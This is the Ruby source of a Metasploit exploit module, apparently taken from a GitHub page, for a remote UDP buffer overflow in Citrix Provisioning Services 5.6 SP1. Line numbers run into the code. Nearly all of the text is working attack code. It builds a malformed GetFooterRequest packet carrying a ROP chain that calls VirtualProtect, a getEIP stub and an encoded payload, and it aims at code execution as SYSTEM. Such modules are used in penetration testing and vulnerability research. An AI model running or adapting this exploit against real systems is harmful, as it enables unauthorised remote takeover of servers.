Path: blob/master/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020002 Buffer Overflow',15'Description' => %q{16This module exploits a remote buffer overflow in the Citrix Provisioning Services175.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet with the opcode180x40020002 (GetFooterRequest) to the 6905/UDP port. The module, which allows code execution19under the context of SYSTEM, has been successfully tested on Windows Server 2003 SP220and Windows XP SP3.21},22'License' => MSF_LICENSE,23'Author' => [24'alino <26alino[at]gmail.com>', # citrix_streamprocess_data_msg author25'juan vazquez' # Metasploit module26],27'References' => [28['OSVDB', '75780'],29['BID', '49803'],30['URL', 'http://support.citrix.com/article/CTX130846']31],32'DefaultOptions' => {33'EXITFUNC' => 'process',34'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',35},36'Payload' => {37'BadChars' => "\x00",38'EncoderOptions' => { 'BufferRegister' => 'ECX' },39},40'Platform' => ['win'],41'Targets' => [42[43'Citrix Provisioning Services 5.6 SP1',44{45'Offset' => 5596,46'Ret' => 0x0045403a # ADD ESP,664; RETN 04 streamprocess.exe47}48]49],50'Privileged' => true,51'DisclosureDate' => '2011-11-04', # CTX130846 creation date52'DefaultTarget' => 0,53'Notes' => {54'Reliability' => UNKNOWN_RELIABILITY,55'Stability' => UNKNOWN_STABILITY,56'SideEffects' => UNKNOWN_SIDE_EFFECTS57}58)59)6061register_options([Opt::RPORT(6905)])62end6364def exploit65packet = "\x02\x00\x02\x40" # DATA MSG66packet << rand_text_alpha_upper(18)67packet << "\x00\x00\x00\x00" # Length68packet << rand_text_alpha_upper(target['Offset'])69packet << [target.ret].pack('V')7071rop_nop = [0x004a072c].pack('V') * 38 # RETN streamprocess.exe7273rop_gadgets =74[750x0045b141, # POP EAX; RETN streamprocess.exe760x1009a1bc, # VirtualProtect()770x00436d44, # MOV EAX,DWORD PTR DS:[EAX]; RETN streamprocess.exe780x004b0bbe, # XCHG EAX,ESI; RETN streamprocess.exe790x004ad0cf, # POP EBP; RETN streamprocess.exe800x00455d9d, # PUSH ESP; RETN streamprocess.exe810x00497f5a, # POP EAX; RETN streamprocess.exe820xfffff9d0, # dwSize830x00447669, # NEG EAX; RETN streamprocess.exe840x004138a7, # ADD EBX,EAX; XOR EAX,EAX; RETN streamprocess.exe850x00426305, # POP ECX; RETN streamprocess.exe860x00671fb9, # lpflOldProtect870x004e41e6, # POP EDI; RETN streamprocess.exe880x0040f004, # RETN streamprocess.exe890x00495c05, # POP EAX; RETN streamprocess.exe900xffffffc0, # flNewProtect910x0042c79a, # NEG EAX; RETN streamprocess.exe920x0049b676, # XCHG EAX,EDX; RETN streamprocess.exe930x0045c1fa, # POP EAX; RETN streamprocess.exe940x90909090, # NOP950x00435bbe, # PUSHAD; RETN streamprocess.exe96].pack("V*")9798packet[398, rop_nop.length] = rop_nop99packet[550, rop_gadgets.length] = rop_gadgets100# Put payload address in ecx101geteip = "\xeb\x03" # jmp short 0x5102geteip << "\x59" # pop ecx103geteip << "\xff\xd1" # call ecx104geteip << "\xe8\xf8\xff\xff\xff" # call to "pop / call"105packet[634, 10] = geteip106packet[644, payload.encoded.length] = payload.encoded107108print_status("Trying target #{target.name}...")109110connect_udp111udp_sock.put(packet)112113handler114disconnect_udp115end116end117118119